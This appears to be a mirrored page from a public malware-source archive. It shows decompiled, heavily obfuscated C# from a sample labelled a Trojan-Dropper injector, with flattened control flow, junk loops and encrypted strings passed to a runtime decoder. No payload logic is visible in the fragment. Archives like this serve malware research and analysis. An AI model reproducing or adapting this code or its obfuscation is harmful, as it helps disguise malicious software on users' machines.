mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
119 lines
6.0 KiB
C#
119 lines
6.0 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: _2012_D.nQGXD0Fz1GVZtG4EJurMG
|
|||
|
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
|
|||
|
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.dblt-7c6234b9971bafa36775d3f787a0c6953ddd3783cc4702e2d3881a5e33b7586b.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace _2012_D
|
|||
|
{
|
|||
|
[StandardModule]
|
|||
|
internal sealed class nQGXD0Fz1GVZtG4EJurMG
|
|||
|
{
|
|||
|
public static object gZs7PuDK9SP66z6UNI31366()
|
|||
|
{
|
|||
|
label_2:
|
|||
|
int num1 = 3;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
Decimal num2;
|
|||
|
string str;
|
|||
|
bool flag;
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
str = \u003CCliSecureRT\u003E.cs("\u001F\u0085Æ⃜)VP\u007F\u001A\u009F\u0080M5*\u001F C‼\u00B2\u20C5\u001D}\u0090IXŲ¢°Ú}U\u0018\u0010\u2075È\u0095ì¯Î\u001B\u001F\bˆ\u00B9·\u20F7\u001Ar\u009Cº+");
|
|||
|
flag = false;
|
|||
|
num1 = 2;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
str = \u003CCliSecureRT\u003E.cs("V\u0090 D\u001C\u001BkH,þñDT)]j\u001C\u007F\u0015\u0095\u0018\u001BÕ\u0010/\u0012\u00AD\u0087\u00BD)\u0019\"u\"ýOø\u0091ÿ\u0005\u0014\u0016FÞ±ø3qüØbI\u00B9Ù F§BÍcE.\f\u0099\u00B39\u001CPõ\u0002veB\u00B3\u0096»IþY\u0096ëÔq\v|Ë\u0093Àçè\u007F3n<");
|
|||
|
flag = false;
|
|||
|
num2 = 14M;
|
|||
|
break;
|
|||
|
case 2:
|
|||
|
label_5:
|
|||
|
break;
|
|||
|
case 3:
|
|||
|
num2 = 57951862M;
|
|||
|
num1 = 0;
|
|||
|
continue;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
flag = true;
|
|||
|
if (true)
|
|||
|
num1 = 1;
|
|||
|
else
|
|||
|
goto label_5;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private static object s8P1wEv2()
|
|||
|
{
|
|||
|
label_2:
|
|||
|
int num1 = 3;
|
|||
|
long num2;
|
|||
|
long num3;
|
|||
|
string str;
|
|||
|
double num4;
|
|||
|
int num5;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
int num6 = 4100732;
|
|||
|
\u003CCliSecureRT\u003E.cs("V\u0099ý\u0019Ú\u0004‸J\u001EéÖ,@ZĄ\u200C\a˛nÉqM\u0096_\u001BE\u00B9ïȲ\u001D\b)*\u0013\u008B\u007F\u0099µÝX\0Gˆ\u20F2⃔\u2062\n ܺF․Â\u008D/‶Ò\u000Fƅp$ÍUÙÓû\u200E`\u2086\b\fSF\u009EÙ\u0094Xú˷Ù ÌX\u001E\u202DÆøÄ\u2072ãc7I>ó®ƦƑ+₦-⁼â/>\u0098±ÀEöÝ\u0019\u2082¶);-Ÿ\u001ApÄí⁉\v⁉\u0010_Z{ad‐V\u0097※\u206C\v\u20CCëØ\u0004X\u206Aoeöoó\u20CDÿ±dB/Ú ëY\u001B\u008CÃ:˼µġNI\u20CAN\u0091V\u0011Ĭ\u0012\u0081\v\fSL×ÄrWZ¬\u200C");
|
|||
|
num4 = 4.0;
|
|||
|
num5 = 7127305;
|
|||
|
num6 = 326;
|
|||
|
\u003CCliSecureRT\u003E.cs("k\u008D¤\u00109GCQ6Ê");
|
|||
|
num1 = 2;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
goto label_9;
|
|||
|
case 2:
|
|||
|
do
|
|||
|
{
|
|||
|
\u003CCliSecureRT\u003E.cs("d\u0099\u00B2Jⁱ,r\u001C\u0006ÓæX\u000E%![\u0017;n¶₌\n\u0081µ");
|
|||
|
num5 = 2897;
|
|||
|
num2 = 9L;
|
|||
|
str = \u003CCliSecureRT\u003E.cs("X\u0091Î\taE`y\n\u0081\u0086\u0012T\a\u001E~Y~\u0017\u0086\u0017kØ`De\u008B\u009BÌ6T<\u0004\u0015ÉV»Ä\u0094[w\u001E3ا\u009944æÀ|\u0002ÐÀ?9\u008E\u001B\u00B2b${\b\u009BÞX\u001E,Îypr@\u009E\u0093\u0098M\u0092HÿèÒ)\u0003SÀ\u00B2·\u0088\u0090\u0019.s[ÿÍÄ7UÉ\u0090\u0014ï\u0011,\u009C\u0087É*\u00BC\u008F_çóE\u0010\u0016L\u0016\vÞã8\u0002Y\\YqyO\u0081\u0018\u0011îl!U\u009Eý¬a^~\a\u0017âj©\u009A\u009Dp5yIÕËûHpçÒ*sûú\u0006;Ø\u0006\u0099a2\v\u0003Åê;I+À-\rL=Ð\u0099ßj¥\tÊæ\u008Ay]Q\u0083¥\u00B9");
|
|||
|
num4 = 506087363.0;
|
|||
|
num5 = 753688;
|
|||
|
\u003CCliSecureRT\u003E.cs("˷DZ\u0014\u001E\u2077'\u0099f-\u0087ñ]%<,)GƏ\u001CƷY£ñQ⁗\a⃤í´\nY\0f\u000Fþr¥\u0096ķs,\f.\u008E\u009BúQǓĿÈ※\aëþ\0)\u008FJ\u0082I#6\u0012ÛÈû\u0006₴\u0093:!\t\u206F\u20FEâ\u009AR\u00BC\u001AÕǜ\u0094+æQªµä§è\t\n‛JƧ⃢y%Që\u008B[ô");
|
|||
|
}
|
|||
|
while (false);
|
|||
|
num1 = 1;
|
|||
|
continue;
|
|||
|
case 3:
|
|||
|
num2 = 98L;
|
|||
|
int num7 = 4013743;
|
|||
|
do
|
|||
|
{
|
|||
|
checked { ++num7; }
|
|||
|
}
|
|||
|
while (num7 <= 278279960);
|
|||
|
num3 = 162822L;
|
|||
|
\u003CCliSecureRT\u003E.cs("l3¯\\Dž7lS\u206Fí\u008B3\u001D\u0018åag4\b\u0094F\aÕ¨E˦µèƉ\u2077\u0005x\u001E*\u00951ûÝ\u008BN6s!ªÌ\u0080į\rú₪B\u0016Âₕ⁅ů\u008DB\u0088f?5Ś\u009A´[\u001D Êę\u001Cdċ¯₸Å\u0005ñ_Ñǜ*CN{⃫⃝ä\u20FF\u008Dx\u001Fu(J\u009Dº0K\u00BD\u0088\aÔ(bßƢ₽m₤§dDZÌ=m\u206B\"");
|
|||
|
str = \u003CCliSecureRT\u003E.cs("ţÑìDwði\u0005ʉ\u00907\u2069⁌⁈ǶU\u0014^ˤµA\u0002\u008E\u0014⁏g´\u00B2Ȳ\u0005`ķ4yôn\u009BÚ×A>wŽž°\u20F7Y");
|
|||
|
int num8 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("]ₚÁ\u0013l\u001A@ŏzæÜ⁐Q\u2076\u001FLJf\u0019ÓEZì\u001B7I\u00B2\u008F⃔ey-\u0001)ù*±Ï\u009Cr|\u200Ffȱ^[g\u0096Ì5\tÜç0 ºIºRHx\u001EÜ\t\b\u007FCß8\u0013H\tkÒÝvGuÅé\u0092BMsÙ⃝Ù\u008BÕN⁁b\\ãy\u0092$%ÊÇ:ì\a9\u008A\u00B2Ët÷⃕\u000E₻¸⁑{)ťD\u2076ÇǤU⁌G\u0005ůD․ưºoO\u2087Ř\vv\u20C5\u008D\u0087\u001Ce⁔6(ô ªÀₜu/`H\u0082\u009C\u0096\f\u0016\u0082ãzOµï\u0010'ÌY\u0091h\u001CĬg»¡(\u0004eÆ\u0003\r\n,\u20C5₹"));
|
|||
|
num1 = 0;
|
|||
|
continue;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
label_9:
|
|||
|
num3 = 8L;
|
|||
|
\u003CCliSecureRT\u003E.cs("T₻ó(8⃝;\u001E\"Åöÿ\u0002-\u0004+Ŕe£\u00BC\u00AD\u0010ܵY~\u0085\u0090d=|+\u0010\u0012ÆŸ_⃝áS.®9ƌ\u008A\u2062FmùÓ");
|
|||
|
\u003CCliSecureRT\u003E.cs("\u0019\u0091\u2081!yJ$‟\u0001çÿñ\u0011H⁾Jn'M\u20FCt\b\u008A\u0018(\u001E\u0085\u0089\u008Ap£\u001A4-ëZé\u00B3\u009B\u0004\u0014\u20832¥\u009D\u0099(b\u0087¨‣y¡àK\u009F\u20CB\a⃞ƥ Á\u0010±Ñ⁒\u0004Aé\u001A⁻ŗ!\u0084Ç⃖ «\u0016Ú×\u0082f@]£\u0084Ô\u0080íh\aK\u0018\u0090\u008D\u008C”\u0013Êó:Ô\u0005h©\u0099₺x¡\u20F5\u0003Ý¿\u0001\"3[\u2083\u0014ÌìĢ_C+MZ4‼×\u0003_ÚlAMÊã¶\u2070\u007Fǘ\u001A");
|
|||
|
return (object) 949;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|